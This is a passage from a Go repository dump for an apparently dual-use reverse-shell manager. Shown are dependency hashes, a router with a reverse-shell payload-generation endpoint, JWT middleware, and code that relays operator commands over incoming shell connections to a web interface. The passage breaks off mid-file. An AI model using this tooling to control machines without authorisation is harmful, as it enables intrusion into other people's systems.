594 | google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
595 | google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
596 | google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
597 | google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
598 | google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
599 | google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
600 | google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
601 | google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
602 | google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
603 | google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
604 | google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
605 | google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
606 | google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
607 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
608 | google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
609 | google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
610 | google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
611 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
612 | google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
613 | google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
614 | google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
615 | google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
616 | google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
617 | google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
618 | google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
619 | google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
620 | google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
621 | google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
622 | google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
623 | google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
624 | google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
625 | google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
626 | google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
627 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
628 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
629 | google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
630 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
631 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
632 | google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
633 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
634 | google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
635 | google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
636 | google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
637 | google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
638 | google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
639 | google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
640 | google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
641 | google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
642 | google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
643 | google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
644 | google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
645 | google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
646 | google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
647 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
648 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
649 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
650 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
651 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
652 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
653 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
654 | google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
655 | google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
656 | google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
657 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
658 | google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk=
659 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
660 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
661 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
662 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
663 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
664 | gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8bDuhia5mkpMnE=
665 | gopkg.in/go-playground/validator.v8 v8.18.2/go.mod h1:RX2a/7Ha8BgOhfk7j780h4/u/RRjR0eouCJSH80/M2Y=
666 | gopkg.in/ini.v1 v1.62.0 h1:duBzk771uxoUuOlyRLkHsygud9+5lrlGjdFBb4mSKDU=
667 | gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
668 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
669 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
670 | gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
671 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
672 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
673 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
674 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
675 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
676 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
677 | gorm.io/gorm v1.21.15 h1:gAyaDoPw0lCyrSFWhBlahbUA1U4P5RViC1uIqoB+1Rk=
678 | gorm.io/gorm v1.21.15/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
679 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
680 | honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
681 | honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
682 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
683 | honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
684 | honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
685 | honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
686 | rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
687 | rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
688 | rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
689 |
--------------------------------------------------------------------------------
/initialize/beacon.go:
--------------------------------------------------------------------------------
1 | package initialize
2 |
3 | import (
4 | "container/list"
5 |
6 | "sh.ieki.xyz/global"
7 | )
8 |
9 | func BeaconListInit() {
10 | global.SERVER_BEACON_LIST = list.New()
11 | }
12 |
--------------------------------------------------------------------------------
/initialize/hub.go:
--------------------------------------------------------------------------------
1 | package initialize
2 |
3 | import (
4 | "sh.ieki.xyz/global"
5 | "sh.ieki.xyz/service"
6 | )
7 |
8 | func HubInit() {
9 | global.SERVER_WS_HUB = service.NewHub()
10 |
11 | go global.SERVER_WS_HUB.Run()
12 | }
13 |
--------------------------------------------------------------------------------
/initialize/listener.go:
--------------------------------------------------------------------------------
1 | package initialize
2 |
3 | import (
4 | "container/list"
5 |
6 | "sh.ieki.xyz/global"
7 | )
8 |
9 | func ListenerInit() {
10 | global.SERVER_LISTENER_LIST = list.New()
11 | }
12 |
--------------------------------------------------------------------------------
/initialize/router.go:
--------------------------------------------------------------------------------
1 | package initialize
2 |
3 | import (
4 | "net/http"
5 |
6 | "sh.ieki.xyz/api"
7 | "sh.ieki.xyz/global"
8 | "sh.ieki.xyz/router"
9 |
10 | "github.com/gin-gonic/gin"
11 | )
12 |
13 | // 初始化总路由
14 | func RouterInit() *gin.Engine {
15 | var r = gin.Default()
16 |
17 | r.LoadHTMLGlob("dist/*.html")
18 | r.Static("/static", "dist/static")
19 |
20 | //Revershell as service
21 | r.GET("/gen/:lhost/:lport", api.GenReverseShellPayloadAPI)
22 |
23 | // 方便统一添加路由组前缀 多服务器上线使用
24 | apiGroup := r.Group("/api/v1")
25 | router.InitListenerRouter(apiGroup)
26 | router.InitBillboardRouter(apiGroup)
27 | router.InitBeaconRouter(apiGroup)
28 | router.InitTokenRouter(apiGroup)
29 | global.SERVER_LOG.Info("router register success")
30 |
31 | r.NoRoute(func(c *gin.Context) {
32 | c.HTML(http.StatusOK, "index.html", gin.H{})
33 | })
34 |
35 | return r
36 | }
37 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import "sh.ieki.xyz/core"
4 |
5 | func main() {
6 | core.RunServer()
7 | }
8 |
--------------------------------------------------------------------------------
/makefile:
--------------------------------------------------------------------------------
1 | build:
2 | go build -o manager main.go
--------------------------------------------------------------------------------
/manager:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EkiXu/reverse-shell-manager/14ece87c753fcdc980ed29e7c78971a6bbcf3e34/manager
--------------------------------------------------------------------------------
/middleware/jwt.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "errors"
5 | "net/http"
6 | "time"
7 |
8 | "sh.ieki.xyz/global"
9 | "sh.ieki.xyz/global/response"
10 | "sh.ieki.xyz/global/typing"
11 |
12 | "github.com/dgrijalva/jwt-go"
13 | "github.com/gin-gonic/gin"
14 | )
15 |
16 | func JWTAuth() gin.HandlerFunc {
17 | return func(c *gin.Context) {
18 | token := c.Request.Header.Get("x-token")
19 | if token == "" {
20 | response.Result(http.StatusForbidden, response.ERROR, gin.H{
21 | "reload": true,
22 | }, "未登录或非法访问", c)
23 | c.Abort()
24 | return
25 | }
26 | j := NewJWT()
27 | claims, err := j.ParseToken(token)
28 | if err != nil {
29 | if err == TokenExpired {
30 | response.Result(http.StatusForbidden, response.ERROR, gin.H{
31 | "reload": true,
32 | }, "授权已过期", c)
33 | c.Abort()
34 | return
35 | }
36 | response.Result(http.StatusForbidden, response.ERROR, gin.H{
37 | "reload": true,
38 | }, err.Error(), c)
39 | c.Abort()
40 | return
41 | }
42 | c.Set("claims", claims)
43 | c.Next()
44 | }
45 | }
46 |
47 | type JWT struct {
48 | SigningKey []byte
49 | }
50 |
51 | var (
52 | TokenExpired = errors.New("Token is expired")
53 | TokenNotValidYet = errors.New("Token not active yet")
54 | TokenMalformed = errors.New("That's not even a token")
55 | TokenInvalid = errors.New("Couldn't handle this token:")
56 | )
57 |
58 | func NewJWT() *JWT {
59 | return &JWT{
60 | []byte(global.SERVER_CONFIG.Auth.JWTKey),
61 | }
62 | }
63 |
64 | // 创建一个token
65 | func (j *JWT) CreateToken(claims typing.CustomClaims) (string, error) {
66 | token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
67 | return token.SignedString(j.SigningKey)
68 | }
69 |
70 | // 解析 token
71 | func (j *JWT) ParseToken(tokenString string) (*typing.CustomClaims, error) {
72 | token, err := jwt.ParseWithClaims(tokenString, &typing.CustomClaims{}, func(token *jwt.Token) (i interface{}, e error) {
73 | return j.SigningKey, nil
74 | })
75 | if err != nil {
76 | if ve, ok := err.(*jwt.ValidationError); ok {
77 | if ve.Errors&jwt.ValidationErrorMalformed != 0 {
78 | return nil, TokenMalformed
79 | } else if ve.Errors&jwt.ValidationErrorExpired != 0 {
80 | // Token is expired
81 | return nil, TokenExpired
82 | } else if ve.Errors&jwt.ValidationErrorNotValidYet != 0 {
83 | return nil, TokenNotValidYet
84 | } else {
85 | return nil, TokenInvalid
86 | }
87 | }
88 | }
89 | if token != nil {
90 | if claims, ok := token.Claims.(*typing.CustomClaims); ok && token.Valid {
91 | return claims, nil
92 | }
93 | return nil, TokenInvalid
94 |
95 | } else {
96 | return nil, TokenInvalid
97 |
98 | }
99 |
100 | }
101 |
102 | // 更新token
103 | func (j *JWT) RefreshToken(tokenString string) (string, error) {
104 | jwt.TimeFunc = func() time.Time {
105 | return time.Unix(0, 0)
106 | }
107 | token, err := jwt.ParseWithClaims(tokenString, &typing.CustomClaims{}, func(token *jwt.Token) (interface{}, error) {
108 | return j.SigningKey, nil
109 | })
110 | if err != nil {
111 | return "", err
112 | }
113 | if claims, ok := token.Claims.(*typing.CustomClaims); ok && token.Valid {
114 | jwt.TimeFunc = time.Now
115 | claims.StandardClaims.ExpiresAt = time.Now().Add(1 * time.Hour).Unix()
116 | return j.CreateToken(*claims)
117 | }
118 | return "", TokenInvalid
119 | }
120 |
--------------------------------------------------------------------------------
/model/beacon.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "container/list"
5 | "errors"
6 | "fmt"
7 | "net"
8 | "sync"
9 | "time"
10 |
11 | "github.com/google/uuid"
12 | "github.com/gorilla/websocket"
13 | "sh.ieki.xyz/config"
14 | "sh.ieki.xyz/global"
15 | "sh.ieki.xyz/global/typing"
16 | )
17 |
18 | type Beacon struct {
19 | UUID uuid.UUID `json:"uuid"`
20 | Name string `json:"name"`
21 | shConn *net.TCPConn `json:"-"`
22 | Listener *Listener `json:"-"`
23 | send chan []byte `json:"-"`
24 | receive chan []byte `json:"-"`
25 | stoppedChan chan bool `json:"-"` //becon 掉线
26 | lck sync.Mutex `json:"-"` //一次只能执行一个用户的命令
27 | }
28 |
29 | func (b *Beacon) Construct(shConn *net.TCPConn) {
30 | bid := uuid.New()
31 | b.UUID = bid
32 | b.Name = bid.String()
33 | b.shConn = shConn
34 | b.send = make(chan []byte, 1024)
35 | b.receive = make(chan []byte, 1024)
36 | b.stoppedChan = make(chan bool, 1)
37 | }
38 |
39 | //beacon写
40 | func (b *Beacon) WritePump() {
41 | //ticker := time.NewTicker(config.BC_Ping_Period)
42 | defer func() {
43 | //ticker.Stop()
44 | b.shConn.Close()
45 | }()
46 | for {
47 | select {
48 | case message, ok := <-b.send:
49 | b.shConn.SetWriteDeadline(time.Now().Add(config.BC_Write_Wait))
50 | if !ok {
51 | // The Beacon closed the channel.
52 | return
53 | }
54 | //global.SERVER_LOG.Debugf("Send message %v", string(message))
55 | b.shConn.Write(message)
56 | /*
57 | case <-ticker.C:
58 | b.shConn.SetWriteDeadline(time.Now().Add(config.BC_Write_Wait))
59 | if err := b.shConn.WriteMessage(websocket.PingMessage, nil); err != nil {
60 | return
61 | }
62 | }*/
63 | default:
64 | continue
65 | }
66 | }
67 | }
68 |
69 | func (b *Beacon) ReadPump() {
70 |
71 | defer func() {
72 | global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Timestamp: GetNowTimeStamp(), Sender: "server", Type: "beacon", Detail: fmt.Sprintf("Beacon %s go offline", b.Name)})
73 | b.shConn.Close()
74 | DeleteBeacon(global.SERVER_BEACON_LIST, b)
75 | }()
76 |
77 | //b.shConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait))
78 | //b.shConn.SetPongHandler(func(string) error { u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait)); return nil })
79 | buf := make([]byte, 2048)
80 | for {
81 |
82 | n, err := b.shConn.Read(buf)
83 | //global.SERVER_LOG.Debugf("Received message %v", buf[0:n])
84 | if err != nil {
85 | global.SERVER_LOG.Errorf("Becon %s error: %v", b.Name, err)
86 | break
87 | }
88 | if n > 0 {
89 | //global.SERVER_LOG.Debugf("Send message %v to WsConn", string(buf[0:n]))
90 | b.receive <- buf[0:n]
91 | }
92 | }
93 | }
94 |
95 | func (b *Beacon) ServeShDataInput(shData typing.ShData, wsConn *websocket.Conn) error {
96 | b.lck.Lock()
97 | defer b.lck.Unlock()
98 |
99 | //global.SERVER_LOG.Debugf("ReceiveshDataInput %+v", shData)
100 |
101 | switch shData.Type {
102 | case "cmd":
103 | b.send <- []byte(shData.Data)
104 | }
105 |
106 | //global.SERVER_LOG.Debugf("Sended")
107 |
108 | timeout := time.NewTimer(config.BC_CMD_Wait)
109 |
110 | receivedOnce := false
111 | for {
112 | select {
113 | case message, ok := <-b.receive:
114 | //write combine output bytes into websocket response
115 | //global.SERVER_LOG.Debugf("WsConn receoved %v", string(message))
116 | if !ok {
117 | return errors.New("Beacon closed")
118 | }
119 | wsConn.WriteJSON(typing.ShData{Type: "cmd", Data: string(message)})
120 | receivedOnce = true
121 | timeout.Stop()
122 | timeout.Reset(config.BC_CMD_Reset_Wait)
123 |
124 | case <-timeout.C:
125 | if !receivedOnce {
126 | return errors.New("timeout")
127 | }
128 | return nil
129 | case <-b.stoppedChan:
130 | return errors.New("beacon closed")
131 | }
132 | }
133 | }
134 |
135 | func DeleteBeacon(beaconList *list.List, targetBeacon *Beacon) error {
136 | var beacon *Beacon
137 | // global.SERVER_LOG.Debugf("finding beacon,target beacon: %+v", targetBeacon)
138 | for element := beaconList.Front(); element != nil; element = element.Next() {
139 | beacon = element.Value.(*Beacon)
140 |
141 | // global.SERVER_LOG.Debugf("finding beacon,now beacon: %+v", *beacon)
142 | if (*beacon).Name == targetBeacon.Name || (*beacon).UUID == targetBeacon.UUID {
143 | beaconList.Remove(element)
144 | return nil
145 | }
146 | }
147 | return errors.New("beacon not found")
148 | }
149 |
150 | func GetNowTimeStamp() int64 {
151 | return time.Now().UnixNano() / 1e6
152 | }
153 |
--------------------------------------------------------------------------------
/model/common.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "bytes"
5 | "sync"
6 | )
7 |
8 | type SafeBuffer struct {
9 | b bytes.Buffer
10 | rw sync.RWMutex
11 | }
12 |
13 | func (b *SafeBuffer) Read(p []byte) (n int, err error) {
14 | b.rw.RLock()
15 | defer b.rw.RUnlock()
16 | return b.b.Read(p)
17 | }
18 | func (b *SafeBuffer) Write(p []byte) (n int, err error) {
19 | b.rw.Lock()
20 | defer b.rw.Unlock()
21 | return b.b.Write(p)
22 | }
23 |
--------------------------------------------------------------------------------
/model/hub.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "time"
7 |
8 | "github.com/gorilla/websocket"
9 | "sh.ieki.xyz/config"
10 | "sh.ieki.xyz/global"
11 |
12 | "sh.ieki.xyz/global/typing"
13 | )
14 |
15 | var (
16 | newline = []byte{'\n'}
17 | space = []byte{' '}
18 | )
19 |
20 | type User struct {
21 | Hub *Hub `json:"-"`
22 | Name string `json:"name"`
23 | wsConn *websocket.Conn `json:"-"`
24 | send chan []byte `json:"-"`
25 | }
26 |
27 | func (u *User) Construct(hub *Hub, name string, wsConn *websocket.Conn) {
28 | u.Hub = hub
29 | u.Name = name
30 | u.wsConn = wsConn
31 | u.send = make(chan []byte, 256)
32 | }
33 |
34 | //用户读管道 从客户端读
35 | func (u *User) ReadPump() {
36 | defer func() {
37 | u.Hub.Unregister <- u
38 | u.Hub.BroadcastWSData(typing.WSData{Sender: "server", Type: "user", Detail: fmt.Sprintf("User %s go offline", u.Name)})
39 | u.wsConn.Close()
40 | }()
41 | u.wsConn.SetReadLimit(config.WS_Max_Message_Size)
42 | u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait))
43 | u.wsConn.SetPongHandler(func(string) error { u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait)); return nil })
44 | for {
45 | _, rawMessage, err := u.wsConn.ReadMessage()
46 | if err != nil {
47 | if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
48 | global.SERVER_LOG.Errorf("error: %v", err)
49 | }
50 | break
51 | }
52 | var wsData typing.WSData
53 | err = json.Unmarshal(rawMessage, &wsData)
54 | if err != nil {
55 | global.SERVER_LOG.Debugf("error Unmarshal %+v", rawMessage)
56 | continue
57 | }
58 | wsData.Sender = u.Name
59 |
60 | u.Hub.BroadcastWSData(wsData)
61 | }
62 | }
63 |
64 | //用户写通道 向客户端写
65 | func (u *User) WritePump() {
66 | ticker := time.NewTicker(config.WS_Ping_Period)
67 | defer func() {
68 | ticker.Stop()
69 | u.wsConn.Close()
70 | }()
71 | for {
72 | select {
73 | case message, ok := <-u.send:
74 | u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
75 | if !ok {
76 | // The hub closed the channel.
77 | u.wsConn.WriteMessage(websocket.CloseMessage, []byte{})
78 | return
79 | }
80 |
81 | w, err := u.wsConn.NextWriter(websocket.TextMessage)
82 | if err != nil {
83 | return
84 | }
85 | w.Write(message)
86 |
87 | // Add queued chat messages to the current websocket message.
88 | n := len(u.send)
89 | for i := 0; i < n; i++ {
90 | w.Write(newline)
91 | w.Write(<-u.send)
92 | }
93 |
94 | if err := w.Close(); err != nil {
95 | return
96 | }
97 | case <-ticker.C:
98 | u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
99 | if err := u.wsConn.WriteMessage(websocket.PingMessage, nil); err != nil {
100 | return
101 | }
102 | }
103 | }
104 | }
105 |
106 | //公共频道
107 | type Hub struct {
108 | // Registered clients.
109 | Clients map[*User]bool
110 |
111 | // Inbound messages from the clients.
112 | broadcast chan []byte
113 |
114 | // Register requests from the clients.
115 | Register chan *User
116 |
117 | // Unregister requests from clients.
118 | Unregister chan *User
119 | }
120 |
121 | func (h *Hub) Construct() {
122 | h.broadcast = make(chan []byte)
123 | h.Register = make(chan *User)
124 | h.Unregister = make(chan *User)
125 | h.Clients = make(map[*User]bool)
126 | }
127 |
128 | func (h *Hub) Run() {
129 | for {
130 | select {
131 | case client := <-h.Register:
132 | h.Clients[client] = true
133 | case client := <-h.Unregister:
134 | if _, ok := h.Clients[client]; ok {
135 | delete(h.Clients, client)
136 | close(client.send)
137 | }
138 | case message := <-h.broadcast:
139 | for client := range h.Clients {
140 | select {
141 | case client.send <- message:
142 | default:
143 | close(client.send)
